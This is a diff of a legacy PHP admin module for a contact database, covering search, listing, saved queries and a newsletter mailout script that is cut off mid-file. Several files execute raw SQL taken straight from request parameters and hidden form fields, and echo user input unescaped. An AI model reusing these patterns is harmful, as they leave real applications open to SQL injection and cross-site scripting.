+<p>Select from "Output Fields" box.  This determines what fields will be in the
+output of this search.</p>
+<p><font color=red>HINT</font>
+You can use the "All" and "None" buttons to help you save time.  This will
+select all or none of the fields in the boxes.</p>
+<p><font color=red>HINT</font>
+If you want to select more than
+one Output field hold down the 'Ctrl' key while clicking on the selection to select or
+deselect it from the list.</p>
+<p><b>File Output:</b></p>
+<p>Select from here if you wish to download a file with the results of this
+search.  The file will built "On the Fly" so you can download it.</p>
+<p><font color=green>NOTE:</font>The text file is output as report.doc.  This
+is only a text file.
+</p>
+<p><b>Delimiter:</b></p>
+<p>This determines what separates the fields in your file.</p>
+
+<?
+       break;
+
+       case "List":
+       ?>
+<h4 align="center">List Contacts</h4>
+<P>
+This page is for listing the results of your query.  You can download files if
+you have selected a file type or edit and delete the contact found.
+</p>
+<p><b>[Edit]</b></p>
+<p>Link to contact edit page.</p>
+
+<p><b>[Delete]</b></p>
+<p>Link to Delete Contact.</p>
+
+<p><big><b>Download Files</b></big></p>
+<p>If you see this then there is a file you can download.
+Click on the file and you can download it.</p>
+<?
+       break;
+
+       case "Edit":
+       ?>
+<h4 align="center">Edit a Contact</h4>
+<P>
+This page is for editing and modifying an existing Contact in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Contacts" page.
+</p>
+<p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Contact,
+you can click "Submit Query." This will update the information about the
+Contact in the database.
+</p>
+<?
+       break;
+
+       case "Add":
+       ?>
+<h4 align="center">Add an Contact</h4>
+<P>
+This page is for Adding Contacts in the database.
+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Contacts" page.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Contact,
+you can click "Submit Query." This will update the information about the
+Contact in the database.
+</p>
+<?
+       break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="../../help/closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/Contact/htmlarea.css b/admin/Contact/htmlarea.css
new file mode 100644 (file)
index 0000000..23bdf7d
--- /dev/null
@@ -0,0 +1,180 @@
+.htmlarea { background: #fff; }
+
+.htmlarea .toolbar {
+  cursor: default;
+  background: ButtonFace;
+  padding: 1px 1px 2px 1px;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar table { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+.htmlarea .toolbar img { border: none; }
+.htmlarea .toolbar .label { padding: 0px 3px; }
+
+.htmlarea .toolbar .button {
+  background: ButtonFace;
+  color: ButtonText;
+  border: 1px solid ButtonFace;
+  padding: 1px;
+  margin: 0px;
+}
+.htmlarea .toolbar .buttonHover {
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar .buttonActive, .htmlarea .toolbar .buttonPressed {
+  padding: 2px 0px 0px 2px;
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+.htmlarea .toolbar .buttonPressed {
+  background: ButtonHighlight;
+}
+.htmlarea .toolbar .indicator {
+  padding: 0px 3px;
+  overflow: hidden;
+  width: 20px;
+  text-align: center;
+  cursor: default;
+  border: 1px solid ButtonShadow;
+}
+
+.htmlarea .toolbar .buttonDisabled { background-color: #aaa; }
+
+.htmlarea .toolbar .buttonDisabled img {
+  filter: alpha(opacity = 25);
+  -moz-opacity: 25%;
+}
+
+.htmlarea .toolbar .separator {
+  position: relative;
+  margin: 3px;
+  border-left: 1px solid ButtonShadow;
+  border-right: 1px solid ButtonHighlight;
+  width: 0px;
+  height: 16px;
+  padding: 0px;
+}
+
+.htmlarea .toolbar .space { width: 5px; }
+
+.htmlarea .toolbar select { font: 11px Tahoma,Verdana,sans-serif; }
+
+.htmlarea .toolbar select,
+.htmlarea .toolbar select:hover,
+.htmlarea .toolbar select:active { background: FieldFace; color: ButtonText; }
+
+.htmlarea .statusBar {
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+  padding: 2px 4px;
+  background-color: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.htmlarea .statusBar .statusBarTree a {
+  padding: 2px 5px;
+  color: #00f;
+}
+
+.htmlarea .statusBar .statusBarTree a:visited { color: #00f; }
+.htmlarea .statusBar .statusBarTree a:hover {
+  background-color: Highlight;
+  color: HighlightText;
+  padding: 1px 4px;
+  border: 1px solid HighlightText;
+}
+
+
+/* Hidden DIV popup dialogs (PopupDiv) */
+
+.dialog {
+  color: ButtonText;
+  background: ButtonFace;
+}
+
+.dialog .content { padding: 2px; }
+
+.dialog, .dialog button, .dialog input, .dialog select, .dialog textarea, .dialog table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.dialog table { border-collapse: collapse; }
+
+.dialog .title {
+  background: #008;
+  color: #ff8;
+  border-bottom: 1px solid #000;
+  padding: 1px 0px 2px 5px;
+  font-size: 12px;
+  font-weight: bold;
+  cursor: default;
+}
+
+.dialog .title .button {
+  float: right;
+  border: 1px solid #66a;
+  padding: 0px 1px 0px 2px;
+  margin-right: 1px;
+  color: #fff;
+  text-align: center;
+}
+
+.dialog .title .button-hilite { border-color: #88f; background: #44c; }
+
+.dialog button {
+  width: 5em;
+  padding: 0px;
+}
+
+.dialog .buttonColor {
+  padding: 1px;
+  cursor: default;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.dialog .buttonColor-hilite {
+  border-color: #000;
+}
+
+.dialog .buttonColor .chooser, .dialog .buttonColor .nocolor {
+  height: 0.6em;
+  border: 1px solid;
+  padding: 0px 1em;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+
+.dialog .buttonColor .nocolor { padding: 0px; }
+.dialog .buttonColor .nocolor-hilite { background-color: #fff; color: #f00; }
+
+.dialog .label { text-align: right; width: 6em; }
+.dialog .value input { width: 100%; }
+.dialog .buttons { text-align: right; padding: 2px 4px 0px 4px; }
+
+.dialog legend { font-weight: bold; }
+.dialog fieldset table { margin: 2px 0px; }
+
+.popupdiv {
+  border: 2px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.popupwin {
+  padding: 0px;
+  margin: 0px;
+}
+
+.popupwin .title {
+  background: #fff;
+  color: #000;
+  font-weight: bold;
+  font-size: 120%;
+  padding: 3px 10px;
+  margin-bottom: 10px;
+  border-bottom: 1px solid black;
+  letter-spacing: 2px;
+}
+
+form { margin: 0px; border: none; }
diff --git a/admin/Contact/index.phtml b/admin/Contact/index.phtml
new file mode 100644 (file)
index 0000000..b157155
--- /dev/null
@@ -0,0 +1,317 @@
+<?php 
+session_start();
+require_once("../../setup.phtml");
+require_once("contact_setup.inc");
+error_reporting();
+if(isset($mailout)){
+       session_unregister("mailout");
+}
+if(isset($sess_vars)){
+       extract($sess_vars);
+       session_unregister("sess_vars");
+}
+$dbd = db_connect();
+
+$qs = "SELECT  count(*) as total 
+          FROM         ".TABLE;
+$res = db_exec($dbd,$qs);
+$total = pg_result($res,0,'total');
+GLM_TOOLBOX::top("Contact Database","help/contact.phtml?key=search","SteveContactsDatabase_1.0");
+GLM_TOOLBOX::html_nav_table($nav,$navWidth);
+?>
+<style type="text/css">
+       table#admin-list-table td label {display:block;width:100%;clear:right;white-space:nowrap;}
+</style>
+<table id="admin-list-table">
+  <tr>
+    <td colspan=4>
+       There
+       <?
+       if($total < 1 ) 
+               echo " No records";
+       elseif($total > 1) 
+               echo "are $total contacts";
+       else 
+               echo "is $total contact";
+       ?> in the database.
+       </td>
+  </tr>        
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Search:
+    </th>
+  </tr>        
+  <tr>
+    <td colspan=4>
+       <b>Search records for:</b><br>
+       </td>
+  </tr>
+  <tr>
+  <td colspan=4>
+  <form name="search" action="query_contact.phtml" method="POST" onSubmit="
+       var msg = '';
+       var errors = '';
+       var ping = 0;
+       var all = 0;
+       this.fvalue.value = '';
+       this.rfvalue.value = '';
+       this.rdvalue.value = '';
+
+       if(this.search.value == '') {
+               all++;
+       }
+
+       for(var i = 0;i<4;i++) {
+               if(this.search_type.options[i].selected){
+                       ping++;
+               }
+       }
+
+       if(all == 0) {
+               if(ping == 0) {
+                       errors += '-You must select a search type\n';
+               }       
+       }       
+
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               if(this.ifields.options[i].selected) {
+                       this.fvalue.value += ':' + this.ifields.options[i].value;
+               }
+       }
+
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               if(this.return_fields.options[i].selected) {
+                       this.rfvalue.value += ':' + this.return_fields.options[i].value;
+               }
+       }
+       
+       for(var i=0;i<1;i++) {
+               if(this.dates.options[i].selected) {
+                       this.rdvalue.value += ':' + this.dates.options[i].value;
+               }
+       }
+       if(all == 0) {
+               if(this.fvalue.value == '') {
+                       errors += '-You must select at least one field to search in\n';
+               }
+       }
+       
+        if(this.rfvalue.value == '') {
+               errors += '-You must select at least one field for output\n';
+       }
+       
+       if(all == 1) {
+               if(errors == '') {
+                       return(true);
+               }
+       }
+       
+       if(errors == '') {
+               return(true);
+       }
+       else {
+               msg += '_______________________________________\n\n';
+               msg += 'The form was not submitted please check\n';
+               msg += 'the following and resubmit\n\n';
+               msg += errors + '\n\n';
+               msg += '_______________________________________\n\n';
+       
+               alert(msg);
+               return(false);
+       }
+  ">
+  <input name="search" value="<?echo $search?>" size=40>
+  <input type="submit" name="Submit Query">
+  </td>
+  </tr>
+  <tr>
+    <td class="small" valign=top>
+       <b>In Fields:</b><br>
+       <select name="ifields" multiple size=8>
+       <?foreach($fields as $key2=>$value2) {?>
+       <option value="<?echo $key2?>" <?=(strstr($fvalue,$key2))?"selected":""?>><?echo $value2?>
+       <?}?>
+       </select>
+       <br>
+       <label for="in-all"><input type="radio" id="in-all" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.ifields.options[i].selected=1;
+       }
+       ">All</label>
+       <label for="in-none"><input type="radio" id="in-none" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.ifields.options[i].selected=0;
+       }
+       ">None</label>
+       </td>
+       <td valign=top class="small" nowrap>
+      <b>Search Where:</b><br>
+         <select name="alter">
+         <option value="0" <?=($alter=="0")?"selected":""?>>Anywhere
+         <option value="1" <?=($alter=="1")?"selected":""?>>Begining
+      <option value="2" <?=($alter=="2")?"selected":""?>>Ending
+         </select><br>
+       <input type="hidden" name="fvalue">
+       <br>
+       <b>Mail Ok</b><br>
+<?
+       $mail = MAILOK;
+?>
+       <select name="<?=$mail?>">
+       <option value="n" <?=($$mail=="n")?"selected":""?>>Don't Care
+       <option value="1" <?=($$mail=="1")?"selected":""?>>Yes
+       <option value="0" <?=($$mail=="0")?"selected":""?>>No
+       </select>
+<?
+       echo '</td><td valign=top width=25%>';
+?>
+       <br><b>Search Type:</b><br>
+  <select name="search_type" size=4>
+  <option value="1" <?=($search_type=="1")?"selected":""?>>Exact string 
+  <option value="2" <?=(!isset($search_type) || $search_type=="2")?"selected":""?>>And 
+  <option value="3" <?=($search_type=="3")?"selected":""?>>Or
+  <option value="4" <?=($search_type=="4")?"selected":""?>>Not
+  </select>
+       </td>
+      <td valign=top class=small width=25%>
+      <b>Case Sensitivity:</b><br>
+      <select name="case">
+      <option value="ON" <?=($case == "ON")?"selected":""?>>On
+      <option value="OFF" <?=(!isset($case) || $case == "OFF")?"selected":""?>>Off
+      </select><br>
+         <b>Services</b>
+               <br>
+               <label for="devel"><input type="checkbox" id="devel" name="devel" value="t" <?php if( $devel == 't' ){echo 'checked';}?>>Web Development</label>
+               <label for="hosting"><input type="checkbox" id="hosting" name="hosting" value="t" <?php if( $hosting == 't' ){echo 'checked';}?>>Web Hosting</label>
+               <label for="connect"><input type="checkbox" id="connect" name="connect" value="t" <?php if( $connect == 't' ){echo 'checked';}?>>Dedicated Connectivity</label>
+               <label for="nolist"><input type="checkbox" id="nolist" name="nolist" value="t" <?php if( $nolist == 't' ){echo 'checked';}?>>Don't List on Website</label>
+               <label for="seo"><input type="checkbox" id="seo" name="seo" value="t" <?php if( $seo == 't' ){echo 'checked';}?>>SEO</label>
+               <label for="kiosk"><input type="checkbox" id="kiosk" name="kiosk" value="t" <?php if( $kiosk == 't' ){echo 'checked';}?>>Pellston Kiosk</label>
+               <label for="ucman"><input type="checkbox" id="ucman" name="ucman" value="t" <?php if( $ucman == 't' ){echo 'checked';}?>>UC Man</label>
+      </td>
+       </tr>
+       <tr>
+         <td colspan="4"> &nbsp; </td>
+       </tr>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Output of records:
+    </th>
+  </tr>        
+  <tr>
+    <td class="small" valign=top>
+       <b>Output Fields:</b><br>
+       <select name="return_fields" multiple size=8>
+       <?foreach($fields as $key2=>$value2) {?>
+       <option value="<?echo $key2?>" <?=(strstr($rfvalue,$key2))?"selected":""?>><?echo $value2?>
+       <?}?>
+       </select>
+       <br>
+       <input type="hidden" name="rfvalue">
+       <label for="out-all"><input type="radio" id="out-all" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.return_fields.options[i].selected=1;
+       }
+       for(var i=0;i<<?echo ($p_date_from)?"3":"1";?>;i++) {
+               this.form.dates.options[i].selected=1;
+       }
+       ">All</label>
+       <label for="out-none"><input id="out-none" type="radio" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.return_fields.options[i].selected=0;
+       }
+       for(var i=0;i<<?echo ($p_date_from)?"3":"1";?>;i++) {
+               this.form.dates.options[i].selected=0;
+       }
+       ">None</label>
+  </td>
+  <td class="small" valign=top>
+       <input type="hidden" name="rdvalue" value="">
+    <b>Output fields (Dates):</b>
+       <select name="dates" multiple size=3>
+       <option value="create_date" <?=(strstr($dates,"create_date"))?"selected":""?>>Created Date
+  <?if($p_date_from){?>
+  <option value="purch_date" <?=(strstr($dates,"purch_date"))?"selected":""?>>Last Purchase Date
+  <?}
+  if($a_date_from){?>
+  <option value="access_date" <?=(strstr($dates,"access_date"))?"selected":""?>>Last Access Date
+  <?}?>
+       </select>
+  </td>
+  <td class="small" valign=top width=25%>
+  <b>File output:</b><br>
+  <select name="file" size=4>
+  <option value="" <?=(!isset($file) || $file == "")?"selected":""?>>No File
+  <option value="zip" <?=($file=="zip")?"selected":""?>>zip file
+  <option value="gz" <?=($file=="gz")?"selected":""?>>tar.gz(tar ball)
+  <option value="rpt" <?=($file=="rpt")?"selected":""?>>text file 
+  </select>
+  </td>
+  <td valign=top class=small width=25%>
+  <b>Delimiter:</b><br>
+  <select name="delimiter" size=4>
+  <option value="tab" <?=($delimiter=="tab")?"selected":""?>>TAB
+  <option value="comma" <?=($delimiter=="comma")?"selected":""?>>Comma
+  <option value="csv" <?=($delimiter=="csv")?"selected":""?>>CSV
+  <option value="pipe" <?=($delimiter=="pipe")?"selected":""?>>Pipe
+  </select>
+  </td>
+  </tr>
+  <tr>
+    <td colspan="4" align="center">
+    <input type="submit" name="Submit Query">
+    </td>
+  </tr>
+       <tr>
+         <td colspan="4"> &nbsp; </td>
+       </tr>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Search Dates Ranges
+    </th>
+  </tr>        
+  <tr>
+    <th bgcolor="#191970" class="theader" colspan=2>
+       From 
+    </th>
+    <th bgcolor="#191970" class="theader" colspan=2>
+       To 
+    </th>
+  </tr>        
+       
+  <?if($p_date_from){?>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Last Purchace Date
+    </th>
+  </tr>        
+  <tr>
+  <td align="center" colspan=2> <?echo $p_date_from?> </td>
+  <td align="center" colspan=2> <?echo $p_date_to?> </td>
+  </tr>
+  <?}?>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Create Date
+    </th>
+  </tr>        
+  <tr>
+  <td align="center" colspan=2> <?echo $c_date_from?> </td>
+  <td align="center" colspan=2> <?echo $c_date_to?> </td>
+  </tr>
+  <?if($a_date_from){?>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+        Last Access Date
+    </th>
+  </tr>        
+  <tr>
+  <td align="center" colspan=2> <?echo $a_date_from?> </td>
+  <td align="center" colspan=2> <?echo $a_date_to?> </td>
+  </tr>
+  <?}?>
+  </table>
+<?
+GLM_TOOLBOX::footer();
+?>
diff --git a/admin/Contact/list_contact.phtml b/admin/Contact/list_contact.phtml
new file mode 100644 (file)
index 0000000..d9fab35
--- /dev/null
@@ -0,0 +1,317 @@
+<?php
+//$Id: list_contact.phtml,v 1.1.1.1 2009/09/17 20:09:02 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+if(!$start)
+       $start = 0;
+
+if($postquery)
+       $query_string = $postquery;
+if(!$dbd = db_connect())
+       html_error(DB_ERROR_MSG."no connection",1);
+       
+$checkqs = "SELECT     count(*) as contacts 
+                   FROM        ".TABLE;
+
+if(!$checkres = db_exec($dbd,$checkqs)) 
+       html_error(DB_ERROR_MSG.__LINE__.$checkqs,1);
+
+$numcontacts = pg_result($checkres,0,"contacts");      
+if($numcontacts == 0) 
+       html_error("There are no contacts in the database",1);
+
+if(!isset($back) && !isset($query_string)) {
+       $query = "SELECT        ".ID.",*
+                         FROM          ".TABLE."
+                         WHERE         ".WHERE."
+                         ORDER BY      name";
+
+       $query = addslashes($query);
+       $qs = "SELECT   id
+                  FROM         query_db
+                  WHERE        query_name = '(current)'";
+
+       if(!$res = db_exec($dbd,$qs)) 
+               html_error(DB_ERROR_MSG.__LINE__.$qs,1);
+
+       if(db_numrows($res)==0) {
+       $qs = "INSERT 
+                  INTO         query_db 
+                                       (query,query_name)
+                  VALUES       ('$query','(current)')";
+       }
+       else {
+               $id = pg_result($res,0,"id");
+               $qs = "UPDATE   query_db
+                          SET          query = '$query',
+                                       file = '',
+                                       delimiter = ''
+                          WHERE        id = $id";
+       }
+       if(!$res = db_exec($dbd,$qs)) 
+               html_error(DB_ERROR_MSG.__LINE__.$qs,1);
+       unset($qs);
+}
+
+if($delimiter == "csv") 
+       $csv = TRUE;
+
+if(isset($query_string)) {
+       $query_string = strtr($query_string,"\n"," ");
+       $query_string = strtr($query_string,"\t"," ");
+       $query_string = stripslashes($query_string);
+       $qs = $query_string;
+}
+else {
+       $queryqs = "SELECT      query
+                               FROM    query_db
+                               WHERE   query_name LIKE '(current)'";
+       $queryres = db_exec($dbd,$queryqs);
+       if(pg_numrows($queryres) == 0) {
+               $qs = "SELECT   ".ID.",*
+                         FROM          ".TABLE."
+                         WHERE         ".WHERE."
+                         ORDER BY      name";
+       }
+       else {
+               //print_r($queryrow);
+               $qs = pg_result($queryres,0,"query");;
+       }
+}
+
+top("List Contacts","help/contact.phtml?key=List");
+?>
+<script src="wm.js"></script>
+<script src="msg.js"></script>
+<?
+html_nav_table($nav,$navWidth);
+if(NEWSLETTER)
+{
+$mquery = "SELECT id,subject FROM news_response;";
+$mres = db_exec($dbd,$mquery);
+while( $mrow = pg_fetch_array( $mres ) )
+{
+       $mailout[] = array( 'subject' => $mrow['subject'], 'id' => $mrow['id'] );
+}
+?>
+<script lang="javascript">
+var remind;
+remind = 'This will mailout the Newsletter\n';
+</script>
+<table id="admin-list-table">
+       <tr>
+  <th colspan=2>
+<form action="mailout.phtml" method="POST" onSubmit="
+return(confirm(remind)); 
+">
+<select name="mail_id">
+<?
+unset( $mrow );
+foreach( $mailout as $mrow )
+{
+       echo '<option value="'.$mrow["id"].'">'.strip_tags($mrow["subject"]).'</option>';
+}
+?>
+</select>
+<input type="hidden" name="postmail" value="<?echo $qs?>">
+<input type="submit" value="Mail Out the Newsletter">
+</form>
+  </th>
+</tr>
+<?}?>
+<?
+$totalqs = substr_replace($qs," count(*) as total FROM ",strpos($qs,"SELECT")+7,strpos($qs,"FROM")-3);
+if(strpos($totalqs,"ORDER BY")!=0)
+       $totalqs = substr_replace($totalqs,"",strpos($totalqs,"ORDER"));
+if(!$totalres = db_exec($dbd,$totalqs))
+       html_error(DB_ERROR_MSG.__LINE__.$totalqs,1);
+if(count($totalres)==0)
+       $totalnum = 0;
+else   
+       $totalnum = pg_result($totalres,0,"total");
+$qs .= " LIMIT ".ENTRIES_PER_PAGE." OFFSET ".$start;
+$res = db_exec($dbd,$qs);
+?>
+<tr>
+  <td colspan="2"><?echo $totalnum?>Result(s)</td>
+</tr>
+<?
+if(!$res) html_error(DB_ERROR_MSG.__LINE__.$qs,1);
+// What page are you on?
+if($start==0)
+       $page == 1;
+else   
+       $page = ($start / ENTRIES_PER_PAGE) + 1;
+$totalpages = floor($totalnum / ENTRIES_PER_PAGE);
+$totalpages++;
+
+$result_string = "";
+$num = db_numrows($res);
+if(!$start)
+       $start = 0;
+$begin = 0;
+$ending = $num;        
+// for paging results get a first page and last page link also
+// first page is easy use 0
+$first = '<a href="list_contact.phtml?".$stuff."&start=0">First</a> - ';
+// last page use total pages
+$lastpage = ' - <a href="list_contact.phtml?'.$stuff.'&start='.( ( $totalpages - 1 ) * ENTRIES_PER_PAGE ).'">Last</a>';
+if($totalnum > ENTRIES_PER_PAGE && ( $page != $totalpages ) )
+       {
+       $end = ENTRIES_PER_PAGE + $start;
+       }
+else
+       {
+       $end = $totalnum;
+       }
+$last = $start - ENTRIES_PER_PAGE;     
+if(!$query_string)
+       {
+       $query_string = $qs;
+       $query_string = str_replace(" LIMIT ".ENTRIES_PER_PAGE." OFFSET ".$start,"",$query_string);
+       }
+$stuff = "query_string=".urlencode($query_string)."&file=".$file."&delimiter=".$delimiter."&csv=".$csv;
+if(($start - ENTRIES_PER_PAGE) < 0)
+       $prev = "PREV";
+else   
+       $prev = "<a href=\"list_contact.phtml?".$stuff."&start=".$last."\">PREV</a>";
+if($end < $totalnum)
+       $next = "<a href=\"list_contact.phtml?".$stuff."&start=".$end."\">NEXT</a>";
+else   
+       $next = "NEXT";
+       ?>
+<tr>
+ <td colspan="2">
+ <?
+ if($num!=0)
+ echo $first.$prev."-".($start+1)."-to-".$end."-".$next.$lastpage;
+ ?>
+ </td>
+</tr>
+<tr>
+  <td colspan="2">
+<?
+if(count($res)>0)
+{
+       for($i=$begin;$i<$ending;$i++) 
+       {
+               if(!$row = db_fetch_array($res,$i,PGSQL_ASSOC))
+               {
+                       html_error(DB_ERROR_MSG.__LINE__,1);;
+               }
+               unset($body_ar);
+               unset($head_ar);
+               for($b=1;$b<count($row);$b++) 
+               {
+                       $fields[$b] = pg_fieldname($res,$b);
+                       if( $i == $begin )
+                       {
+                               $head_ar[$b] = pg_fieldname($res,$b);
+                       }
+                       $body_ar[$b] = $row[$fields[$b]];
+               }
+               if( $i == $begin )
+               {
+                       $head_array = array_values( $head_ar );
+               }
+               $contact_data[$i] = array_values( $body_ar );
+               /*
+               */
+               ?>
+               <tr <?echo $background;
+       $id = ID;
+                       ?>>
+                 <td nowrap><a href="edit_contact.phtml?id=<?echo $row[$id]?>&amp;start=<?php echo $start;?>">
+                 [Edit]</a>
+                 <a href="update_contact.phtml?Command=Delete&id=<?echo $row[$id]?>&amp;start=<?php echo $start;?>" onClick="
+                       if(confirm('This will delete this record Are you sure?')) { 
+                               return(true);
+                       }else {
+                               return(false);
+                       }
+                       ">
+                 [Delete]</a>
+                 </td>
+                 <td align=left>
+                 <?
+                 foreach($fields as $key) {
+                 if($key != "submit_date" && $key != "contactid" 
+                                 && $key != "devel" && $key != "kiosk"
+                                 && $key != "seo" && $key != "connect"
+                                 && $key != "mail_ok" && $key != "hosting"
+)
+                       echo $row[$key]." ";
+                 }
+                 ?>
+                 </td>
+               </tr>
+               <?
+       }
+}
+ini_set('include_path', BASE.'glmPear' . ':' .ini_get('include_path'));
+require_once 'PHP_Compat/Compat/Function/is_a.php';
+require_once "HTML/Table.php";      
+/*
+echo '<pre>';
+print_r( $contact_data );
+print_r( $head_array );
+echo '</pre>';
+*/
+$tableAttrs = array("width" => "600");
+$table = new HTML_Table($tableAttrs);
+$table->setAutoGrow(true);
+$table -> setAutoFill("&nbsp;");
+$head =& $table->getHeader();
+$foot =& $table->getFooter();
+$body =& $table->getBody();
+$head->setHeaderContents( 0, 0, 'Function');
+for( $i = 0; $i < count($head_array); $i++ )
+{
+       $head->setHeaderContents( 0, $i+1, $head_array[$i]);
+}
+for($nr = 0; $nr < count($contact_data); $nr++) 
+{
+       $body->setCellContents( 1, 0, '<a href="edit_contact.phtml?id='.$contact_data[$nr][0].'">Edit</a>' );
+       for($i = 0; $i < count($head_array); $i++) 
+       { 
+               if("" != $contact_data[$nr][$i])
+               {
+                       $body->setCellContents( $nr+1, $i+1, $contact_data[$nr][$i] );
+               }
+       }
+}
+$altRow = array("bgcolor"=>"red");
+$table->altRowAttributes(1, null, $altRow);
+/*
+echo '<pre>';
+print_r($contact_data);
+echo '</pre>';
+echo $table->toHtml();
+*/
+
+       ?>
+       </td>
+</tr>
+       </table>
+       <?
+if(isset($file) && $file != "" && db_numrows($res) > 0) {      
+?>
+<table>
+<tr>
+    <th colspan=2>Download files</th>
+</tr>
+<tr>
+  <td><form action="download.phtml">
+  <input type="hidden" name="query_string" value="<?echo $query_string?>">
+  <input type="hidden" name="file" value="<?echo $file?>">
+  <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+  <input type="hidden" name="csv" value="<?echo $csv?>">
+  <input type="submit" value="Download Report">
+  </form></td>
+</tr>
+</table>
+<?
+}
+html_nav_table($nav,5);
+footer();
+?>
diff --git a/admin/Contact/list_query.phtml b/admin/Contact/list_query.phtml
new file mode 100644 (file)
index 0000000..1f8c084
--- /dev/null
@@ -0,0 +1,58 @@
+<?php
+//$Id: list_query.phtml,v 1.1.1.1 2009/09/17 20:09:02 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+top("Query DB","");
+
+html_nav_table($nav,$navWidth);
+?>
+<script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+<script src="<?echo URL_BASE."admin/msg.js"?>"></script>
+<table id="admin-list-table">
+<tr bgcolor="#2f4f4f">
+  <th class="theader">
+  Functions:
+  </th>
+  <th class="theader">
+  Queries in database
+  </th>
+</tr>
+<?
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+$qs = "SELECT  id,query_name 
+          FROM         query_db";
+
+if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+for($i=0;$i<db_numrows($res);$i++) {
+       $row = db_fetch_array($res,$i,PGSQL_ASSOC);
+       
+?>
+       <script lang="javascript">
+       var o<?echo $i?> = new Object();
+       o<?echo $i?>.msg = 'You are about to Permanently Delete this Query';
+       o<?echo $i?>.url = 'del_query.phtml?id=<?echo $row[id]?>';
+       o<?echo $i?>.popup = '1';
+       o<?echo $i?>.popup.name = "delwin";
+       o<?echo $i?>.width = 630;
+       o<?echo $i?>.height = 300;
+       </script>
+<tr>
+ <td>
+ <a href="query_contact.phtml?query_no=<?echo $row[id]?>">[Recall]</a>
+ <?if($row[query_name] != "(current)") {?>
+ <a href="del_query.phtml?id=<?echo $row[id]?>" onClick="
+ glm_confirm(o<?echo $i?>);
+ return(false);
+ ">[Delete]</a>
+ <?}?>
+ </td>
+  <td><b><?echo $row[query_name]?></b></td>
+</tr>
+<?}?>
+</table>
+<?
+footer();
+?>
diff --git a/admin/Contact/mailout.phtml b/admin/Contact/mailout.phtml
new file mode 100644 (file)
index 0000000..2721834
--- /dev/null
@@ -0,0 +1,182 @@
+<html>
+<head>
+<title>Mailing out The Newsletter</title>
+</head>
+<body bgcolor=white>
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+// File names for SPAMerizer
+$Filename = tempnam( "/var/spool/SPAMerizer", "GLMNEWS" );
+unlink($Filename);
+
+$HeadFilename = $Filename.".head";
+$BodyFilename = $Filename.".body";
+$ToFilename = $Filename.".to";
+$ReadyFilename = $Filename.".ready";
+
+if(!$dbd = db_connect(CONN_STR)) 
+       html_error(DB_ERROR_MSG,1);
+$postmail = stripslashes($postmail);
+$postmail = eregi_replace("SELECT.*FROM","SELECT email INTO TEMPORARY temp_table FROM",$postmail);
+$postmail = eregi_replace("ORDER BY.*","",$postmail);
+$postmail .= " AND ".MAILOK." = 't'";
+$postmail .= ";CREATE INDEX email_indx on temp_table (email);";
+
+if(!$mailres = db_exec($dbd,$postmail)) 
+       html_error(DB_ERROR_MSG.__LINE__.$postmail,1);
+
+$mailqs = "SELECT 
+                  DISTINCT ON (email) email
+                  FROM         temp_table
+                  GROUP BY email;";
+flush();
+if(!$mailres = db_exec($dbd,$mailqs)) 
+       html_error(DB_ERROR_MSG.__LINE__.$mailqs,1);
+
+if(db_numrows($mailres)>0)
+       {
+       for($a=0;$a<db_numrows($mailres);$a++) 
+               {
+               $mvdata = db_fetch_array($mailres,$a,PGSQL_ASSOC);      
+               $email = trim($mvdata["email"]); 
+               if($email)
+                       {
+                       $mail[] = $email;       
+                       }
+               }
+       }
+if(is_array($mail) && count($mail)>0) {
+       // write the temp.to file
+       $mail = implode("\n",$mail);
+       $fp = fopen($ToFilename,"w");
+       fputs($fp,$mail,strlen($mail));
+       fclose($fp);
+}
+else {
+       $mail = "";
+}
+
+
+if($mail != "") {
+       // I am changing this to a two part mime type email
+       // html and text
+       // using class_html     
+       $responseqs = "SELECT   * 
+                                  FROM         news_response
+                                  WHERE        id = $mail_id";
+       if(!$resres = db_exec($dbd,$responseqs))
